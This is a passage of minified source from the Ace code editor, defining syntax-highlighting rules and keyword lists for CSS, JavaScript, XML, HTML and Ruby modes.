minate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|re